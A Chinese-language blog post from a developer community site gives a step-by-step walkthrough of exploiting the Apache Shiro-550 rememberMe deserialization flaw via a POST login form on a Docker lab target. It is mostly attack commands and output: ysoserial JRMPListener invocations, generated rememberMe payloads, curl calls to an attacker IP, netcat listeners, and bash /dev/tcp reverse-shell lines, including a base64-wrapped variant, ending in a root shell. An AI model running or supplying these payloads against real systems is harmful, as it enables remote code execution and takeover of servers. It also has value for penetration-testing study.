前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Shiro550-post型漏洞(验证+利用+反弹shell)

Shiro550-post型漏洞(验证+利用+反弹shell)

原创
作者头像
枪哥四海为家
修改于 2023-03-06 02:54:39
修改于 2023-03-06 02:54:39
2.3K00
代码可运行
举报
运行总次数:0
代码可运行

Shiro550作为2020年HW的经典漏洞,引无数英雄竞折腰

当年比赛许多同学通过550拿下过各地核心目标和难打目标,自己参与其中无论从攻击还是防御溯源都受益匪浅

虽是两年前写的本地测试WP,漏洞依然经典,分享下


常见条件

一般shiro550的post隐患点在登录口,返回包存在rememberMe=deleteme;参数的,可以尝试测试shiro-550-post方式是否可以利用

获取环境

拉取镜像到本地

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ docker pull medicean/vulapps:s_shiro_1

启动环境

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

靶机:XXX.XXX.XXX.XXX:9956

攻击机:XXX.XXX.XXX.XXX:2345

工具:ShiroScan 

启动靶机

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
service docker start
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9956:8080 medicean/vulapps:s_shiro_1            // 9956代表靶机开放的服务端口

访问:XXX.XXX.XXX.XXX:9956      靶机生成成功

漏洞验证

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master# python shiro_rce.py http://XXX.XXX.XXX.XXX/admin/login "ping XXX.ceye.io"

访问dnslog.cn

访问ceye平台,发现有dns记录,则说明命令执行成功,该点存在漏洞

正常命令执行结果

攻击机:上开启nc监听本地2345端口

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lvvp 2345

靶机:148.70.144.198:9956执行‘curl 132.232.75.164:2345’命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl 132.232.75.164:2345

攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果

漏洞利用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
备注:几个坑点
(1)关于curl回显只能使用CommonsCollections4模块调用才能成功
(2)rememberMe值是会变化的,执行失败需要重新生成再替换注入

1.在攻击机上执行:(意思是将‘curl xxx.xxx.xxx.xxx:2345’命令对靶机9956端口发送请求,令靶机执行,开启针对靶机9956端口的监听)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'curl xxx.xxx.xxx.xxx:2345'

2.攻击机开启NC监听(执行payload后返回的命令回显于nc)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lvvp 2345

3.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# python poc.py XXX.XXX.XXX.XXX:9956
rememberMe=3ISkYwsZQQOCX1ChLxTLmOknsb5kOolTjEJb05MTMkj1OMuXrDNICACVqE4xhL5eTtnl3wMWfMuWQQJ5TVzflEhCuKdGIv/6mGFi7shsfHD4JXcZVV4rptnYdZUmeHvX5UgyQiNULJjb+42E2kdhr9i1pbdMMhdVthO2pX2YznsMOknkndxOVdGUH+g/eS84uAbvQdf1zIaU/6S6JiEDRgR+UWm/h6Ap5lTQCGHXeiw+GIW3GrViipcVphFLudkT8bIc2S97rrcy4+ymW8puMKzNwmrLXxwnC4HVG4oiwTMRmGJCJMTa13nAGMYOkP3Jo3/b5t3NLoDO8rdCFC82JJxTk788lada6SObtcERLDILah7SfiE32AO4yGYte6pI+jwzlXTUL6i/5kKOCSsfwg==

4.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。

5.查看远程监听的靶机9956端口的监听情况,发现有连接请求:

6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令‘curl XXX.XXX.XXX.XXX’的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功

反弹shell(正常命令执行结果)

1.在攻击机上开启nc监听本地2345端口

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lvvp 2345

2.在靶机上执行命令,意思是将靶机shell反弹至攻击机上,命令执行成功:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1

3.在攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果

反弹shell(从漏洞层利用)

在线bash加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

1.我们真正想在靶机上执行的命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/2345 0>&1

2.在攻击机上执行:(意思是将‘bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1

’在靶机上执行,将shell反弹至攻击机xxx.xxx.xxx.xxx的2345端口,)CommonsCollections4和CommonsBeanutils1一样可以反弹shell:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule#
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'bash -c {echo,xxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}'

3.攻击机开启NC监听(执行payload后返回的命令回显于nc)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lvvp 2345

4.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# 
python poc.py XXX.XXX.XXX.XXX:9956 rememberMe=JHKeKz9hRJ+oyUnsm4S4Ia+9ss1VDJQDN2RrnW/YAxroUmJ0j2wia4RPub4BbtphsjEV8TWK0ngzPqeKoYHbVU8yE5uPqE5ENjQtTHM6mDCb1p4JGjS0oFd8wekHcNhdEoU8jzO7SNpTQoUgE5R2AXyRNrlPTkf6yMtxuEZ6ewWpttWUuO4qxQpzmY72VYtijJIXNEAI8xB6tq8DIEIsNLm3VEBM8WTlOzEDBsVLSxwGu89AhWWnEqPXVwcViuFjYKo37+BTnN8E22a6scyYqS25pTxXwDCtiPBVHNoHavfSPRJJlAf67kw3CF25ETHrHnbO+PithkTYfji+g4+iLoZHoPFW6r4mWCWbRTAj9/JH+yGvgcvVYK+ziTRfofWF4hgzYImQDQgGP4S0isU02g==

5.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。

6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功,拿下root权限shell

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Shiro反序列化漏洞复现分析(Shiro-550)
Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。 服务端过程:cookie-->base64解密-->AES解密-->反序列化
R0A1NG
2022/02/19
2.1K0
Shiro反序列化漏洞复现分析(Shiro-550)
Apache Shiro反序列化漏洞-Shiro-550复现总结
最近一直在整理笔记,恰好碰到实习时遇到的Shiro反序列化漏洞,本着温故而知新的思想,就照着前辈们的文章好好研究了下,整理整理笔记并发个文章。新人初次投稿,文章有啥问题的话,还望各位大佬多多包含。
FB客服
2021/10/21
2.5K0
Shiro550-get型漏洞(验证+利用+反弹shell)
一般shiro550的get型隐患点不固定,如非登录口,伪静态页面可能都存在。简单经验归纳为靠近登录口的页面点和目标主站页面有可能存在
枪哥四海为家
2022/03/11
1.2K0
Shiro550-get型漏洞(验证+利用+反弹shell)
【漏洞复现】Apache Shiro 反序列化漏洞
shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习
李鹏华
2024/03/12
1.9K0
【漏洞复现】Apache Shiro 反序列化漏洞
Shiro反序列化漏洞复现分析(Shiro-721)
Apache Shiro cookie中使用AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
R0A1NG
2022/02/19
4.5K0
Shiro反序列化漏洞复现分析(Shiro-721)
shiro rememberMe 反序列化漏洞
因为Shiro是Java的开发框架再加上本人不会Java,所以我就一直没有接触过关于它的漏洞。 但是..就在昨天晚上我看到了一朋友复现了它,然后最近实训摸鱼闲来无事就想着我也要复现一波~
MssnHarvey
2022/08/10
1.4K0
shiro rememberMe 反序列化漏洞
一文看懂shiro反序列化漏洞
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。
Gamma实验室
2020/12/23
2.5K0
一文看懂shiro反序列化漏洞
实习记录(二) - Shiro反序列化漏洞
背景:最近公司的师傅丢了个内网渗透的靶场让我们玩,需要通过对外映射的Web服务打进去。一开始看到是一个JeeCMS的站点,直接弱口令就进了后台。但是瞎搞一通都拿不到Shell。搜索了一番才知道原来方向错了,其实是一个Shiro反序列化的漏洞。 漏洞概述 Shiro使用 CookieRememberMeManager这个类对Cookie中的 remeberMe进行 序列化 => 使用密钥进行AES加密 => Base64编码,最后返回客户端 remebreme Cookie。在识别用户身份时需要对 remem
Naraku
2021/07/29
2.1K0
实习记录(二) - Shiro反序列化漏洞
[漏洞复现]Apache Shiro 1.2.4反序列化
最近没怎么更新文章,不好意思啊,兄弟姐妹们。现在现实工作也忙。今天就更新一篇漏洞复现的吧,预计明天更新一个实战漏洞挖掘的文章(弱口令+越权)。你们如果想要什么工具,可以在公众号发消息我统一再处理上传。谢谢大家支持。(づ ̄ 3 ̄)づ
用户6343818
2019/11/19
6.2K1
Shiro反序列化漏洞利用汇总
“ Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。”
Bypass
2020/07/07
10.7K0
Shiro反序列化漏洞利用汇总
Shiro RememberMe 1.2.4 反序列化漏洞复现
0x00 前言 上班的时候收到了一个复测的任务,打开一看,shiro反序列化漏洞,What?这是个什么东西,经百度查找后才知道,原来是Java的开发框架,好吧,还是没听说过。。由于初测报告上的过程过
Timeline Sec
2019/12/15
1.6K0
【漏洞实战】Apache Shiro反序列化远程代码执行复现及“批量杀鸡”
利用vmware workstation,安装一个操作系统,执行以下指令,更换系统源,并且安装docker
用户1631416
2019/12/19
3.1K1
【漏洞实战】Apache Shiro反序列化远程代码执行复现及“批量杀鸡”
从流量侧浅谈WebLogic远程代码执行漏洞(CVE-2018-3191)
在不久前Oracle官方发布的10月重要补丁更新公告(Oracle Critical Patch Update Advisory - October 2018)中发布了五个基于T3协议的WebLogic远程高危漏洞(CVE-2018-3191、CVE-2018-3197、CVE-2018-3201、CVE-2018-3245、CVE-2018-3252),CVSS 3.0 Base Score均为9.8分,版本涉及:10.3.6.0, 12.1.3.0, 12.2.1.3,本文将针对其中影响较大的CVE-2018-3191进行复现与分析,并在流量端进行追溯。
FB客服
2018/12/07
1.7K0
Shiro-550反序列化漏洞复现
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
LuckySec
2022/11/02
1.7K0
Shiro-550反序列化漏洞复现
反弹Shell,看这一篇就够了
在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了。
HACK学习
2021/04/26
30.4K4
反弹Shell,看这一篇就够了
JAVA常见漏洞复现
Shiro550漏洞原理是Shiro框架提供了一种记住密码(Rememberme)的功能,用户登录成功后会生成经过加密的Cookie值,对Remembe的Cookie进行AES解密、Base64解密后再反序列化,就导致了反序列化RCE漏洞 。 Shiro<1.2.4版本,其使用的密钥为固定密钥Shiro550kPH+bIxk5D2deZiIxcaaaA==,这就更容易导致RCE漏洞
用户9691112
2023/05/18
1.8K0
JAVA常见漏洞复现
Shiro RememberMe 漏洞检测的探索之路
Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能。该框架在 2016 年报出了一个著名的漏洞——Shiro-550,即 RememberMe 反序列化漏洞。4年过去了,该漏洞不但没有沉没在漏洞的洪流中,反而凭借其天然过 WAF 的特性从去年开始逐渐升温,恐将在今年的 HW 演练中成为后起之秀。面对这样一个炙手可热的漏洞,这篇文章我们就来讲下,我是如何从 0 到 1 的将该漏洞的自动化检测做到极致的。
黑伞安全
2021/07/16
3.7K0
Shiro RememberMe 漏洞检测的探索之路
反弹shell工具(2)
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
h0cksr
2023/05/17
8260
安全研究 | Jenkins漏洞分析
Jenkins 是基于 Java 开发的开源软件项目,主要用于 CI (持续集成)、项目管理等。 Jenkins功能包括:
FB客服
2020/07/29
6.5K0
安全研究 | Jenkins漏洞分析
漏洞复现 - - - 未授权访问漏洞Redis
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
干掉芹菜
2022/11/19
1.6K0
漏洞复现 - - - 未授权访问漏洞Redis
相关推荐
Shiro反序列化漏洞复现分析(Shiro-550)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验